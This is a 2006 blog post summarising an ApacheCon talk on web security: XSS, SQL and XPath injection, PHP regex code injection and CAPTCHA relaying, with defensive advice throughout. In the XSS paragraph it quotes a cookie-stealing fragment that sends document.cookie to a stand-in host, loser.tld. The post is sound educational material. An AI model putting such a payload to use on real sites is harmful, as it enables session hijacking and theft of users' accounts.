Wed, 28 Jun 2006

ApacheCon '06 : Web Security Trends

Christian Wenz

This discussion proved so popular, with people spilling into the aisles of the room, that this presentation was moved to the larger business track room, displacing it. Some minor reshuffling later, we settled in to watch Christian's presentation.

Where should people be taught about security in programming? On average, almost one vulnerability per day is detected in OSS.

With forms that accept arbitrary text, javascript code can be inserted. script tags can be inserted and cookies can be grabbed by http://loser.tld/? + document.cookie; or similar. This means that the cookie can be stolen without the user knowing. XSS has been around on the web for a long time now.

With AJAX / XMLHTTP Request a whole new set of possibilities opens up. There is a security model in place (same domain) but do you trust your browser to enforce this?

Escaping <, >, &, "e;, ' does the trick, but be careful of the charset. Stripping script tags does NOT do the trick, because of pseudo URLs.

With databases, SQL Injection can allow access to the data - including private data. Some examples were given of basic SQL injection attacks. This included a demonstration of DoS by making an injection attack benchmark a UNION SELECT which generated md5 hashes of random data.

Always use prepared statements.
Never go without prepared statements and never concatenate scripts.
If not available, make sure you escape input data and validate it.

Problem: Custom commands get into an XPath query.
Blind injection attacks are possible, very similar to SQL injection. A demo was given to pull back a password from the file.

Code injection was demonstrated, by inserting phpinfo() into a password change form. When putting user supplied data into regular expressions with the e modifier. This may allow any code to be executed on the server.

Try to avoid the e modifier.
Check the data embeddedL dangeroud characters: $, ', .

New solution: CAPTCHAs
People are solving CAPTCHAs for porn. CAPTCHAs are being screen-scraped from a victim's site, then put up on a porn site, pretending it's for access to the porn. Then real users solve the captchas for the server. Check HTTP_REFERRER, IP source addresses, Brand your CAPTCHAs

In summary

Better paranoid than offline.
Attackers tend to be quite creative.
Validate / filter input, always escape output.

More information available from www.hauser-wenz.de or Christian's blog.
posted at: 17:01 | path: /technical | permanent link to this entry